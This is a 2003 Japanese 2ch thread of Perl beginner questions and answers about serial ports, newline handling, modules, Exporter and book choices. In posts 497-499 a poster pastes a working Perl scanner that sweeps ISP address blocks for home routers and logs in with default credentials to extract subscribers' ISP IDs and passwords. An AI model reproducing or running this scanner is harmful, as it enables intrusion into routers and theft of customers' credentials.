use Win32::SerialPort qw( :STAT 0.19 );#

$ob=new Win32::SerialPort('COM1') || die($!);

$ob->baudrate(600);
$ob->parity("even");
$ob->databits(8);
$ob->stopbits(1);
$ob->handshake("none");

#処理
・・・

$ob->close;
376374:03/09/25 02:05
ソースはこのような感じなんですが、

$ob->baudrate(600);
の部分でボーレート=600を設定しても値が変わらないのです。
(デフォルトは1200)

@baud_opt=$ob->baudrate;
として、@baud_optの中に帰ってきた値の中に設定したい
ボーレート値=600がなければエラーになってしまいます。
(ある場合はエラーにならず値も変わらない)

$ob->user_msg(ON);
としてみると↓のようなエラーメッセージが出ました。
Could not set baudrate on COM1 at ***.pl line ***
377374:03/09/25 02:09
環境はWindowsXP、Activeperl5.8.0です。
長々と書いてしまいましたがどなたか原因など分かる方
いらっしゃいましたらよろしくお願いします。
378363:03/09/25 06:01
>>365
レスどうもです。
空白が余計についてしまう件ですが、どうやらあるテキストファイル(ログ)を
読み取り、それを修正用のフォームに表示させた時点で既についてしまっているようです。
原因が分からないんですが、空白除去すれば目的の動作が得られたので、良しとしました。


>>373
レスどうもです。

>s/\r//g;
>s/\n//g;
これでも大丈夫でした。
他言語の影響なのかもしれませんが、\n→0x0d 0x0aだと思いこんでおりました。
質問内容とは別に、改行がなぜか一個余計に表示されていた問題があったのですが、
\rが消しきれてなかったためなのかと勝手に理解したり…。

有り難うございました。>お二人方
>>376
MS-DOS Console窓でmode COM1としてデフォルトのボーレイトを
調べて次にmode COM1 BAUD=60としてボーレイトが600になるか
調べたら?
Win32::SerialPortはWin32::CommPortを下請けに使っていて
CommPortはさらにWin32::APIを使ってWindowsXPのkernel32の
中のserialport関係のAPIを操作してるに過ぎないんだよね。
kernel32がサポートしてないようなカードを刺して使っているようだと

>@baud_optの中に帰ってきた値の中に設定したいボーレート値=600がない
場合もありうる。もしくはシリアルポート関係のBIOSが正しくインストール
されてないかもね。

シリアルポートに関する話題はパソコン通信華やかなりし頃だったら
詳しい人はごろごろいたが今はね・・・・。俺がお節介できるのはこれぐらい。
後は自分で調べて解決しちくれ。


>>378
\nの文字コード値はプラットフォーム依存ですね
Win→0d 0a
Mac→0d
Unix系→0a
[参考]
http://www.din.or.jp/~ohzaki/perl.htm#CRLF_Unify
Windows/ActivePerl のFAQ集ってどこかにないのかな
多くないか? < 改行コード
>>381
ちゃんと同梱のドキュメント見るがよい<ActivePerl FAQ
どっかで邦訳もあったような気もするけど
383374:03/09/25 13:48
>>379
mode COM1 BAUD=60
とやってみたら、ボーレートに600が設定されました。
なんかよく調べてみると、ボーレートだけでなくパリティ・データビット
・ストップビットなどの他の値も>>375では設定できないみたいです。

代わりにこのようにやるとOKなんですけどねぇ・・・
$hoge=`mode com3 baud=60 parity=e data=8 stop=1`;

昨日からWin32::SerialPortのpodと睨めっこしてるんですが、
英語苦手なのでいまいち理解できないです。
384374:03/09/25 13:50
>>383
>$hoge=`mode com3 baud=60 parity=e data=8 stop=1`;
はcom1の間違いでした。
>>380
何のソフトか知らんが
改行を0d 0a ではなく0a 0d とやってるソフト(なのか?)もあったりする

改行=「0d 0a」と固定しないで単独で削除した方がいいようだ

windowsだと
print "\n" とやれば勝手に 0d 0a となる "\n\r"は必要ない

httpのリザルト終了が 0d 0a 0d 0aだと思ってたら 0d 0a 0aとやる鯖もあったりする罠
>>385
"\r\n"だろ
というかCRLF
だから0d 0a
388381:03/09/25 17:52
>>382
いや、俺じゃなくてな
この手の質問多くてうんざり気味
あぁ、そゆことね
改行文字は誰でも通る道って感じだしなぁ
390デフォルトの名無しさん:03/09/25 19:17
さらしage
391デフォルトの名無しさん:03/09/25 19:23
perlでcabochaを動かすには、どうしたらよいのですか?
教えて下さい。
お願いします...
Perlで複数行を一気にコメントアウトって出来ますか?
それとも、一行ずつ#を使うのですか?
>>392
漏れはこんな風にしてるけど

sub commentout {
コメントアウトしたい文ここから
      〜
コメントアウトしたい文ここまで
}
>>392
=pod
コメント部分
=cut
397デフォルトの名無しさん:03/09/25 23:40
初めてPerl、CGIの勉強をしようと思うのですが、
皆様がこの本は良いと思ったのを、教えては
頂けないでしょうか。お願いします。
>>397 webprog版へ。
399デフォルトの名無しさん:03/09/25 23:51
>>395さん。ありがとうございます。
プロンプトで、cabochaは動きましたv

新たにわからないこと...
プロンプトで、cabochaから、perlに渡す
……ではなく、
cabochaで解析する動作を、
perlのプログラム自体に書いて
動かすことは出来ないのでしょうか?

宜しければ、教えて下さい。
>>397
独習Perlがいいよ
>>397
「KENTと作ろう!Perl/CGI」がいいよ
ナントいってもKENTだから
>>401
嘘教えるのはやめれ(w
403デフォルトの名無しさん:03/09/26 09:06
1 #!/usr/bin/perl
2
3 if ($ARGV[0]=="da" or $ARGV[0]=="wa") {
4 }else{
5 print "option error.\n";
6 exit;
7 }
8 exit;

このコードだとどんなオプションを設定してもoption error.がプリントされないんですけど。
daかwaを指定したときだけ真になるようにするにはどうしたらいいですか?
文字列の等号はeqでは?
405デフォルトの名無しさん:03/09/26 09:13
できました。(ヤッタ
どうもありがとうございます。
406デフォルトの名無しさん:03/09/26 09:39
PerlTkのEntryで、日本語入力を行うとたまに凍るんですが
仕様ですか? Activeperl5.8系+PPMでのTk導入です。

perl復活。パピコ。
サブルーチンに対して、ourみたいな働きをするものはないでしょうか。

pachage main;
our &hoge;

package another;
hoge();

で、main::hoge()が呼ばれるような奴です。
409408:03/09/26 17:33
あー。pachage -> package
>>408
main パッケージにあるサブルーチンを別パッケージから
使うような設計自体がマズいと思うが。
411408:03/09/26 22:09
pachage another;
our &hoge;

package main;
hoge();
$hoge = \&another::hoge;
$hoge->();
#--- Another.pm ---
package Another;
use base 'Exporter';
our @EXPORT_OK = ('hoge');
sub hoge { print 'hoge!' }
1;

#--- script 1 ---
use Another 'hoge';
hoge();

#--- script 2 ---
use Another;
*hoge = \&Another::hoge;
hoge();

パッケージ名をハードコーディングするのは
避けた方がいいので前者を勧める。
414408:03/09/27 00:02
>>412-413
地獄の沙汰もテクニック次第ですかね。
今までは
sub hoge { Another::hoge(@_) }
ってやってたんですが。
ModuleならExportがいいんでしょうが、Libraryとなると。
グロブは中々ヨサゲ。
リファレンスはまた別に面白い使い方が出来そうですね。
どうもありがとうございました。
415デフォルトの名無しさん:03/09/27 20:14
激しく既出かもしれませんが、PerlによるMSNメッセンジャーの
クライアントとモジュールがあるんですね。
誰かこれで面白いボット作りませんか?

http://www.adamswann.com/library/2002/msn-perl/
>>415
下のLinksにあるirc2msnってのはなかなか面白い。
ローカルでirc鯖を立ててmsnとつなぐって代物。
イマイチ完成度が低かったり日本語使えなかったりと、
実用的でないんだが。
あれ日本語対応にしてみたら面白いなぁ、とか。
ちなみに私は昔メッセに来たメッセージを携帯にメールで送る
"留守伝言ボット"を作って見ました。
いいネタがあればなかなか面白いのが出来そうですね。
417デフォルトの名無しさん:03/09/28 00:52
以下のようにバイナリデータを16進数の文字列に変換しているのですが、
何故か"\x0a"は置換してくれません。解決方法はありますでしょうか?

$bin=~s/(.)/uc(unpack('H2',$1))/eg;
>>417
s/(.)/uc(unpack('H2',$1))/egs;
もしくは
s/([\w\W])/uc(unpack('H2',$1))/eg;
MSNメッセって純正クライアント以外弾くようになるんじゃなかった?
#ちなみに純正でも4系はもう弾かれてますね・・・最新版常駐しやがるからウザイよ(;´д⊂
>>418
できますた!ありがとうございます。
421デフォルトの名無しさん:03/09/29 10:53
このような切り出しはどのようにすればいいのですか?

aa.txt
内容
NO 名前   住所  電話   携帯    mail
--------------------------------------------------
112,山田華子,住所AA,電話番号11,携帯電話22,E-mail,
222,加藤士郎,住所BB,電話番号22,携帯電話22,E-mail,
332,青木太郎,住所CC,電話番号33,携帯電話22,E-mail,
この内容ですが下記のようにすべて配列に入れました。

それをaF112〜332と名前:山田華子〜青木太郎の配列をつくりたいのですが
splitで上手くいきません?
良い方法あれば教えて下さい。

open IN,"aa.txt";
while(<IN>){
$data = $_;
chop $data;
($no,$team,$name,$address,$tel,$keitai,$mail) = split(/\,/,$data);
push @all,$data;

}



422デフォルトの名無しさん:03/09/29 10:54
現状は下記のとおりです。

open IN,"aa.txt";
while(<IN>){
$data = $_;
chop $data;
($no,$name,$address,$tel,$keitai,$mail) = split(/\,/,$data);
push @all,$data;

}
>>421
http://www.kt.rim.or.jp/%7ekbk/perl5.005/perllol.html
http://www.kt.rim.or.jp/%7ekbk/perl5.005/perlref.html

my $data_file = 'aa.txt';
my @data = qw(name address tel keitai mail);

my %data;
open IN, '<' . $data_file or die $!;
while (<IN>) {
  chomp;
  my($no, @field) = split /,/;
  @{$data{$no}}{@data} = @field;
}
close IN;

printf "No.%d: name[%s] address[%s] tel[%s] keitai[%s] mail[%s]\n",
  $_, @{$data{$_}}{@data}
    for sort { $a <=> $b } keys %data;
>それをaF112〜332と名前:山田華子〜青木太郎の配列をつくりたいのですが
さっぱり意味がワカラン・・・
>>421
とりあえずハッシュ作って配列にリファレンスぶち込めばいいんでねーの?
$file = 'aa.txt';
@data_ref;
@key = qw(num name address tel keitai mail);

open(IN, $file) or die $!;
while(<IN>){
next unless /,/;
chomp;
my @data{@key} = split(/,/);
push @data_ref, \@data;
}
#No:と名前:の配列欲しいなら
@num = map{ ${$_}->{'num'} } , @data_ref;
@name = map{ ${$_}->{'name'} } , @data_ref;
#たぶんやりたいことと違うんだろうけど

ナンバーと名前から他のデータを引きたいってことか?
>>425
ぷぷぷっ。ご苦労さん(藁

Perl コーディング初心者質問コーナー Part28
http://pc2.2ch.net/test/read.cgi/php/1063562491/489

489 nobodyさん 03/09/29 12:49 ID:2gOy4VWM
>>486

spritとインデックスの組み合わせで出来ました。!(^^)!
##sage
427初めて言えた!!:03/09/29 21:47
オマエモナー
かなり悪質な屑だな。
マルチだったのか(´・ω・`)
>>425
や、この程度のコードで苦労とか言われても(ノ∀`)
つか何で俺なわけ(;´д⊂
モジュールの作り方の質問です。って、ちょっと違うかもしれないですけど。

A.pm と A::Foo.pm があります。A::Foo は、A から use されるサブクラス
で、A::Foo は Exporter で、いくつかのメソッドを A に輸出するような設計です。

ここで謎なんですが、A.pm の持ついくつかの変数を A::Foo に渡してあげたい
のですが(ちょうど Exporter のように)、どうやったら良いのでしょうか?

いずれは A::Bar とかも追加して、親クラスの変数を自動的に共有できると
良いなぁ、と思っています。共有っていっても read only なので参照ですかね。
CGI屋って屑率高くない?
UNIXが分る分らないで俺は差別してるけどw
432335:03/09/30 16:03
 です、結局ラクダではなくラマ(?)の方を買いました。
というか、ラクダ前編と思って買ったんですが違ったんですね…
報告ということで。

で、一つ質問なんですが、Perlから接続する際
DBI/DBDで接続する方法があり、DBIモジュールとDBDモジュールがそれぞれ
必要ということがわかりました(ちなみにWin2000+Active Perlです)。
で、DBIはDOS窓から
ppm install DBI
と行えば大丈夫という話でしたがこれが失敗する場合
(Error installing package 'DBI' : Could not locate a PPD file for package DBI)
CPANから直接取ってくる他にあるのでしょうか?

よろしくお願いします。
433335:03/09/30 16:22
ごめんなさい、できました。
単にDOS窓のコンフィグでプロキシを設定していなかったためでした。
また
ttp://www.activestate.com/PPMPackages/zips/5xx-builds-only/
で落としてppm展開したらできるようでした。
無駄ageすいません。
434335:03/09/30 16:29
あれ、投稿が消えた。
解決したとか書いたんだけども…
>>430
まずuseしただけではサブクラスにはなりません。
package Subclass;
use base Superclass;
でサブクラスになります。
それからサブクラスがスーパークラスにメソッドを輸出するというのが意味不明です。普通逆でしょ。
サブクラスのコンストラクタでは普通スーパークラスのコンストラクタを呼ぶので、スーパークラス
のメンバ変数(フィールド)は全部持ちます。しかしどうも文脈からするとインスタンスメンバでは
なく、クラスメンバのようですね。perlにはJavaのstaticのような仕組みはありませんので、
普通にスーパークラスのインスタンスを作っておいてそれから(クラスメンバとして使う)メンバを
参照するしかないんではないでしょうか。

...つーか、OOP分かってる?
>>432
今のラクダ本は1万円もするし、2冊で電話帳をはるかにしのぐ厚さなので、初心者には必要ないよ。
また、C言語でシステムコールを使ってUNIXプログラミングをした人に分かりやすいように書いてある。
UNIXでのC言語に慣れた人を除けば、素人にはおすすめできない諸刃の剣。
>>431
PerlでのCGIが流行した当時はPerlがバージョン4だったから、当時の流儀で未だにコード
書いてるやつは糞だね。俺はPerlは5になってようやく完成したと思っている。
Perl4と5はCとJavaくらい違うよ。
K&RとANSIC++ぐらいかなw
そうだな、CとJavaほどは違わないがCとC++くらいは違うな。
440430:03/09/30 23:40
>>435
レスありがとうです。えと、OOP は多少は分かっているつもりですが、
perl に関してはかなり勘違いしていたみたいですね。perl 流が
分からないので、試行錯誤の結果がクソコードになっているかもです。
「static のような仕組みはありませんので」というトコで納得です。
どうもサンクスコでした。
Perl6はまたさらに大きく変わるな。
CPANのPerl6モジュールは見てて面白い。
>>430=440
myとクラスメソッドを使えばstatic(のようなもの)は実装出来るし、
サブクラスからは完全なread-onlyの参照になるよ。
443435:03/10/01 07:29
>>440
perlだとクラスメソッドとインスタンスメソッドの違いは第一引数の解釈で、インスタンスへの
リファレンスならインスタンスメソッドでクラス名ならクラスメソッド。これをプログラマがいち
いち手で書いてやらなきゃならない。newは演算子じゃなくてクラスメソッドなんですよ。
泥臭いでしょ。この辺が嫌になってpythonに乗り換えた。
確かに >>442 の言うようにスーパークラスで一番外側のスコープでmyつけて変数を宣言
してやって、クラスメソッドでそれを弄くればクラスメンバ紛いのものになるけど...ローカル変数
使ってクラスメンバを実装するのは何か嫌だな。全然性格の違うものだからな。
>>443
ourで宣言しちゃって完全なクラスメンバにしちゃうって手も。
まぁそうするとread-onlyに出来なくなるんだけれども。
require, use, @ISA(継承)の違いがよくわかりまへん。
>>445
require:
http://flex.ee.uec.ac.jp/texi/perl/perl_137.html

use MODULE @LIST:
BEGIN { require MODULE; MODULE->import(@LIST) } と等価

@ISA:
http://www.kt.rim.or.jp/%7ekbk/perl5.005/perlobj.html#A_Class_is_Simply_a_Package
>>445
requireは実行時に、requireのところまでキタところで、requireで指定されてるコードをそのまま
ベターッと実行する。この時まだそのコードがロードされていないかどうかを調べて、二重起動を
防ぐ働きも持つ(Cでの#ifndef...#endifみたいな)。さらに@INCを検索して、その中にあればフルパス
を書かなくても実行してくれる。

useは呼び出し側のコードをコンパイルしてる時に実行するので、どこに書いても同じ効果が
ある。そして、定義されていればクラスメソッドのimportを呼び出す。

@ISAはスーパークラスの名前を格納するアレイだけれども、これを直にいじるのはもう古い。
use base qw(Superclass);
とやることで@ISAにセットしてくれる。蛇足だが同様に@INCを直にいじるのも古くて、
use lib qw(path/to/lib);
と書くようにしよう。
サブルーチンのプロトタイプの意義がよく分からないのですが、
みなさんはどのような時に使ってますか?
とりうる引数を制限することによって
間違いを見つけやすくする。
450448:03/10/01 19:33
>>449
なるほど、間違った引数が設定されたらエラーになるってことですね。
参考書によるとプロトタイプは&hogeのように&をつけると機能しない
らしいのですがこれは何故なんでしょう?
いつも自作のサブルーチンは分かりやすいように明示的に&をつけて
いるのでちょっと残念なんですが。
>>450
http://www.kt.rim.or.jp/%7ekbk/perl5.005/perlsub.html

Perl4 の頃は & を省略できなかったのもあって、見栄え以外の
理由無しに & を付けてるようなコードは古臭く感じるな、俺は。
452448:03/10/01 21:18
2年ほどPerl触ってましたが恥ずかしながらプロトタイプ初めて知りました。
push(@hoge,@huga);
のような配列を複数渡すようなサブルーチンはプロトタイプを使って作るんですねぇ。
勉強になりました。
453デフォルトの名無しさん:03/10/01 22:45
りふぁれんすでよかよか
454目指せらりーうぉーる:03/10/01 23:46
perlを配属されて、初めてつかっている素人です。
今、あるフォームに値を入力して、実行するプログラム
があるのですが、フォームの値を決定したあとに、
プログラムが予期せぬ動作をします。

perlデバッガを使ってプログラムの動きをトレースしたいのですが、
フォームに入力するという山をどうやって越えればいいかわかりません。

これはどのようにすれば、解決できるのでしょうか?
>>454
板違い。http://pc2.2ch.net/php/

フォームに入力された値がどこからどんな形で渡されるのか
調べたら越えられるんじゃないかな。
456目指せらりーうぉーる:03/10/02 07:30
値がどんな形で渡されるのかは、理解しています。しかし、perlはコマンドライン
で動くじゃないですか。フォームに入力される値をどのようにしてコマンドラインから
渡すことが可能なのかしりたいのです・・・。
>>456
環境変数
REQUEST_METHOD
QUERY_STRING
STDIN
ぐぐれ
>>456
POSTの場合は>>43でできるみたいよ。
>>445
requireとuseの違いは、446と447が回答済み。
継承とuseの違いも似たところがある。
以下の3つのファイルを作り、XYZ.pmの下にコメントで書いてあるcase1&2の
それぞれを実行してみると良い。

ベースクラス ABC.pm
package ABC;
sub alloc {
my $type = shift;
my $self = {};
$self->{'abc'} = 'ABC';
bless $self, $type;
}
1;
(上の続き)
派生クラス XYZ.pm
package XYZ;
use ABC;
@ISA = qw(ABC);
sub new {
my $type = shift;
my $self = $type->alloc;
$self->{'xyz'} = 'XYZ';
bless $self, $type;
}
1;
# case1 : allocコールをABC->allocと書くなら、ABCを継承しなくて良い。
# case2 : ABCがXYZにallocを輸出しているなら、ABCを継承しなくて良い。

メインパッケージ
#!/usr/bin/perl
use XYZ;
$a = XYZ->new;
print "xyz = ", $a->{'xyz'}, "\n";
print "abc = ", $a->{'abc'}, "\n";
461デフォルトの名無しさん:03/10/02 17:34
画像をキャプチャーする場合の座標を
どうやったら正確に求めることができますか?
perlからUNIXのシェルを呼んでいるのですが
通常Apacheの起動ユーザかnobodyになっているので
シェル実行ユーザも当然nobodyになります
シェル呼び出し時に実行ユーザの指定ってperl側で可能でしょうか?
(nobodyじゃなくしたい)

いろいろ調べたのですが手がありません
どなたか知恵をお貸しください
お願いします
>>462 Perl側では出来ません

ちなみに板違い Webプログラミング板に行け
http://pc2.2ch.net/php/
>>459-460
横やりでスマソだがすっげー勉強になった。ありがとう。
>>462
`sudo いろいろ`
でどぉ?
466dodo:03/10/02 23:51
perlからあるURLをx上のブラウザで開く方法を教えてください
system('netscape URL')では引数がローカルファイルとみなされてしまいます。
板違い。
"perlから"ってついてるだけで、
知りたいのはシェルで実行するのと同じ方法だろ。
469dodo:03/10/03 00:57
468さん
助かりました!
ありがとうございました
470467:03/10/03 01:01
>>468
死ね
471通りすがり:03/10/03 01:44
>>470
通りすがりのものだが必死だな
Perlをマスターしたら女性にもてますか?
473デフォルトの名無しさん:03/10/03 02:14
もてる。
マジですか!!
とりあえず中級に行けるようがんばりまっす!!
perlからxのウインドウを制御する方法はないですか?
xlibとかperl/tkとかでできるのかな?
具体的にはアクティブなウインドウを順番に変えて行きたいんだが
CGI Perlでsendmailを使ってメールフォームを作りたいと思います。
どこかにフリーで公開しているところはないでしょうか?
探してもなかなか見つかりませんでした。
よろしくお願い島S。


>>476
>>1を10回音読してみろ。
スレ違いのアフォはともかく
善意で答えるのも控えてくだされ
正しく誘導して答えは書かない
これでおながいします
445です。遅くなりましたが、みなさん(446,447,459-460)、どうもありがと。
輸出のメカニズムがまだわからないけど、以前よりスッキリしたよ。
476です。
1を3回ぐらい読んだあたりから、
このスレの理解しました。
どうもありがとうございました。
言い方を変えます。
Perl言語を使ってでsendmailを使ったメールフォームを作りたいと思います。
どこかにフリーで公開しているところはないでしょうか?
探してもなかなか見つかりませんでした。
どうかよろしくお願いします!。
>>481
man sendmail

うに板風に(w
あとエンコードを忘れずにね ♥
483625:03/10/03 12:37
>>481
少々勘違いしてるようだな。
>フリーで公開しているところはないでしょうか?
サイトや記述どこですか?スレとも違うんだよね。

て言うか、サイトなんて探したらわんさか出てくるんだけど…

http://homepage2.nifty.com/sak/w_sak3/doc/sysbrd/pe_k09.htm
Σ(´Д`;)名前に変な数字が入ってた…俺。
つかCGIって文字なくしただけじゃんよw
3回じゃ足りなかったみたいね。
WebProg板にCGI探すようなスレがあっただろ。そっちいけ。
googleで「Perl sendmail メールフォーム フリー」って検索すると200件ほど出るんだけど
ホントどうゆう探し方してるんだろ・・・
>>479 乗りかかった船だから W)

package ABC;
# メソッド輸出時の決まり文句
use Exporter;
@ISA = qw(Exporter);
@EXPORT = qw(alloc);
# Exporterは、ABCに、輸出を担当するimportメソッドを輸出しないので、
# 使うときには、Exporter::importとする必要があるが、XYZのuse ABC;で、
# ABC->importの形で呼び出されるので、Exporterを継承しておく。
# (Exporter::Liteというモジュールもあり、これはimportを輸出するので、
# useするだけで良い。)
# なお、輸出担当の名前がimport(輸入)なのは、
# Perlの不思議の一つ(「Effective Perl」より)。
sub alloc {
以下同じ。
忘れそうなので定期コピペ

-------------------------
[本]
リャマ: http://www.oreilly.co.jp/BOOK/lperl3/
駱駝: http://www.oreilly.co.jp/BOOK/pperl3v1/
Effective Perl: http://www.ascii.co.jp/books/detail/4-7561/4-7561-3057-7.html
クックブック: http://www.oreilly.co.jp/BOOK/pcook/

[オンラインマニュアル]
・Perldoc.com: http://www.perldoc.com/
・perldoc.jp: http://www.perldoc.jp/
・perl5.005_03 のドキュメント: http://www.kt.rim.or.jp/%7ekbk/perl5.005/

[モジュール]
・CPAN.com: http://search.cpan.org/
・河馬屋二千年堂: http://member.nifty.ne.jp/hippo2000/

[テクニック]
・Perlメモ: http://www.din.or.jp/~ohzaki/perl.htm
・Perlのページ: http://homepage1.nifty.com/nomenclator/perl/
--------------------------------

何事もなかったように次の人どうぞ。
489初心者さん:03/10/03 15:29
初心者ですが、質問させて下さい。
このソースをコピペで実行したのですが、エラーが出ます。
どこにあるのでしょうか。
調べましたが分かりませんでした。
教えてほしいです。
以下ソースです。

#!/usr/bin/perl

open(FILE, ">test.txt") or die;
print FILE, "aaaaa\n";
close(FILE);

パーミッションの設定は間違ってません。
755にしてます。
それから、このようなエラーが出ます。
No comma allowed after filehandle at open3.pl line 4.
翻訳すると、コンマはopen3.pl 4行でfilehandleの後に許可しませんでした。
となりました。
お願いします。
print FILE, "aaaaa\n";
これを
print FILE "aaaaa\n";
こうしてみ

print はリスト(カンマ区切りの)を受け取るから
ファイルハンドルを指定する時には、そこにはカンマを付けない

# 正確ではないけど、まぁ間違いでも無いだろ
491初心者さん:03/10/03 15:36
>490さん
こんなに速く返信くるなんて光栄です。
有難うございます!!
早速試してみます。
結果は後ほど報告します。
>>489
> No comma allowed after filehandle at open3.pl line 4.
> コンマはopen3.pl 4行でfilehandleの後に許可しませんでした。

答え出てますが...
「open3.pl 4行目にある、filehandleの後のカンマは使用できません。」
493初心者さん ◆eV4qRmoLQw :03/10/03 15:41
>490
さん、出来ました!!
本当に有難うございます。
こんなところでつまづいてたら、この先思いやられますよね・・・。
なんとか、質問者に答えれるようになりたいと思います。
有難う御座いました。
また、分からないときは質問するかもしれません。
その時はよろしくお願いします。
494デフォルトの名無しさん:03/10/03 19:15
Zellarの公式を使って曜日を取得するのと
time関数を使って曜日を取得するのは
パフォーマンス的にはどっちが早いですか?
>>494
Benchmarkでしらべれば?
496初心者ですぅ:03/10/03 23:05
>>467 >>470 >>478
初心者ですが、このスレが何のために存在しているのか教えてください。
497デフォルトの名無しさん:03/10/03 23:07
#!/usr/bin/perl

# ODN 61.123.128.0/19
# ODN 61.201.0.0/18
# Nifty 61.121.64.0/19
# Nifty 61.210.0.0/18
# RIMNET 202.247.144.0/21

if ($ARGV[0]=~/(\d+)\.(\d+)\.(\d+)\.(\d+)\/?(\d*)/) {
$ip[0]=$1;$ip[1]=$2;$ip[2]=$3;$ip[3]=$4;
$m=($5>=16)?$5:24;$c=2**(32-$m);
if ($m<24) {$ip[3]=0;$ip[2]=int($ip[2]*256/$c)*$c/256;}
elsif ($m>=24) {$ip[3]=int($ip[3]/$c)*$c;}
} else {print "example: hack.pl 61.210.6.0/24\n";exit;}
$|=1;$SIG{'ALRM'}='kill';
for ($i=1;$i<=$c;$i++){
$pid=fork;
if ($pid==0) {alarm 3;&ip;exit;}
push(@pida,$pid);
unless ($i%64) {
sleep 1;
if($#pida>=255){foreach $j (1..64) {waitpid(shift(@pida),1);}}}
$ip[3]++;
if ($ip[3]==256) {$ip[2]++;$ip[3]=0;}
}
498デフォルトの名無しさん:03/10/03 23:08
waitpid(shift(@pida),1) while ($#pida >= 0);sleep 1;print STDERR "\n";
sub ip {$ipstr="$ip[0].$ip[1].$ip[2].$ip[3]";
$addr=pack('CCCC',$ip[0],$ip[1],$ip[2],$ip[3]);
$this=pack('S n a4 x8',2,0,"\0\0\0\0");
$that=pack('S n a4 x8',2,80,$addr);
socket(S,2,1,6); bind(S,$this);
unless (connect(S,$that)) {
print STDERR "$ipstr...refused \r";return;}
$fh=select(S);$|=1;select($fh);
print S "GET / HTTP/1.0\r\n\r\n";
499デフォルトの名無しさん:03/10/03 23:11
while (<S>) {
$server=$1 if (/^Server: ([^\r\n]*)/);
$au=$1 if (/^WWW-Authenticate: Basic realm="(\w*)"/);}
close(S);
unless (($server=~/^ALLIS\/FOS/ && $au eq 'user')
|| ($server=~/^Apache\/1\.1\.3$/ && $au eq 'Config')) {
print "$ipstr...failed1 ($server)\n";return;}
$this=pack('S n a4 x8',2,0,"\0\0\0\0");
$that=pack('S n a4 x8',2,80,$addr);
socket(S,2,1,6); bind(S,$this);connect(S,$that)||return;
$fh=select(S);$|=1;select($fh);
&atur if ($server=~/^ALLIS\/FOS/);
&mega if ($server=~/^Apache\/1\.1\.3$/);
if ($suc==2) {print "$ipstr...ID: $id, Password: $pass ($server)\n";}
else {print "$ipstr...failed2 ($server)\n";}
}
sub atur {print S "GET /easy HTTP/1.0\r\nAuthorization: Basic Y29uZmlnOg==\r\n\r\n";
while (<S>) {
if (/NAME="PA_LOG"/) {/VALUE="([^"]+)"/;$id=$1;$suc++;}
if (/NAME="PA_PS"/) {/VALUE="([^"]+)"/;$pass=$1;$suc++;}}}
sub mega {print S "GET /cgi-bin/Basicset.cgi?basic_num=1&reloadmenu=1 HTTP/1.0\r\nAuthorization: Basic cm9vdDpyb290\r\n\r\n";
while (<S>) {
if (/NAME="send_id"/) {/VALUE="([^"]+)"/;$id=$1;$suc++;}
if (/NAME="send_passwd"/) {/VALUE="([^"]+)"/;$pass=$1;$suc++;}}}
sub kill {exit;}
500デフォルトの名無しさん:03/10/03 23:12
めっちゃ長くて見にくいですがどなたかないようが
わかる方いますか?セキュリティ板のスレッドで
昔あったものなんですが偶然発見しました。
なんかすごそうなのものなのでどういうものか気になったので。
なんか怖そうなので実際に実行とかはしませんが。
お願いします。
>>496
初心者とバカは違うと心得よ。

あと個人的に
自分で自分のことを初心者という奴は死んでほしい。
>>492
ワロタ
>>496
>>1に書いてあるとおり、ここは「Perlについての質問」をするスレです。
>>466はPerlのsystem関数を使ってるもののPerlとは直接関係ない質問だから
スレ違いとみなされたのだと思います。
例えばなんだけど

$a -> $b

だとどういう処理になるの?

$a から $bをひくって事?
>>504
デリファレンス
506デフォルトの名無しさん:03/10/03 23:52
   /⌒ヽ
  / ´_ゝ`)失礼。ここageないと行けないので、ちょっとageますね・・・
  |    /
  | /| |
  // | |
 U  .U
507デフォルトの名無しさん:03/10/03 23:53
>>494
time関数 内部コードはネイティブだからな
508デフォルトの名無しさん:03/10/04 00:25
デリファレンスってことは

=> と -> の意味合いは同じって事ですかね?
>>508
残念ながらぜんぜん違う
アリャーマ


$a => $b $a は $b以下


$a -> $b ・・・?・・・イミフメーイ

デリファレンス処理について教えてくれませぬか・・?
下のほうの処理の意味はマジサパーリですしぐぐっても
意味不明サイトしか出ない・・(ノД`)
よいこのみんな、一冊くらい本読もうね。
書いてねぃやい・・

>>511
>>500
君のコンピュータを速くするコードだよ
>>504>>510
「->」は矢印演算子。
http://www.kt.rim.or.jp/%7ekbk/perl5.005/perlref.html

package Foo;
sub bar { print 'baz' }

package main;
my $foo = "Foo";
my $bar = 'bar';
$foo->$bar(); # baz

「=>」はコンマ演算子 (,) とほぼ同じだが、左オペランドが
裸のワードならクォートされているものと見做してくれる。

#--- test1.p ---
use strict;
my %foo = (foo, 'bar', "baz", q|boo|);
__END__
#--- test2.p ---
use strict;
my %foo = (foo => 'bar', baz => 'boo');
__END__
% perl -wc test.p
Bareword "foo" not allowed while "strict subs" in use at test1.p line 2.
test1.p had compilation errors.
% perl -wc test2.p
test2.p syntax OK

「>=」と「<=」が比較演算子。
>>500
なんだろ。ウェブサーバのセキュリティチェックかな?
ALLIS/FOSかApache1.1.3のクラックしてるっぽい
サーバを管理するCGIをのっとって、なんか重要なデータ引き出してるみたいだ。

見たところ、もうこんな手法でクラックできるようなサーバはないので、捨ててよし
最低基準ラマ本 ってのはダメかな
質問するときは通読した本を一冊必ず挙げるってのは?
ラマ本良いんだけど、プログラミング自体の経験が無い人には
手放しで薦められない所もちょっとあるんだよね
ラマ本からプログラミング入るのが無理だとは思わないけど
実力をもう一段階ageたいんでEffective(ryとクックブック、どっちか欲しいんだけども
どっちか買うならどっちがオススメですかね?
両方買う金は無いです

ラクダは通読してます
>>518
そういう人にはとにかく指動かして感覚掴んでもらうしか
無いと思う。のでテンプレに追加。

[プログラミング自体の経験が無い奴はまずココを読め]
Perlプログラミング講座: http://www5a.biglobe.ne.jp/~n_rieko/perl/

こういう入門サイトを載せるなら、ラマ本外していいね。
ラマ本をすんなり受け入れられる人には駱駝本にある
概説で充分だ。

>>519
値段優先→Effective
用例優先→クックブック
第三の選択肢→黒豹本 http://www.oreilly.co.jp/BOOK/adperl/
>>520
それ独習Perl並じゃん
>>519
クックブック。
初心者に条件反射的にオライリー本勧める奴は信用しない方がいい。
本当に読んだのか疑わしい。読んだのなら、「初心者の大半は自分より劣る能力しか持たない」
という当たり前のことも分からないアフォ。
ポケリファしか使ってない奴に勧めるのは当然だろ。
まぁ初心者はEffectiveのがいいと思ってるけど。
私的には Effective→料理→黒豹 の順。
ラクダはperldocの英語が読めない人用やね。
>>523
ゴミレスするくせに、推薦する本の一冊も挙げられないあんたこそアフォ
>>525
>>523をゴミレスと思えない私はアフォ?
Perl初心者にお勧めなのは技術評論社の「すぐわかるPerl」
Perlをこれほど分かりく解説してる本は他に無い。
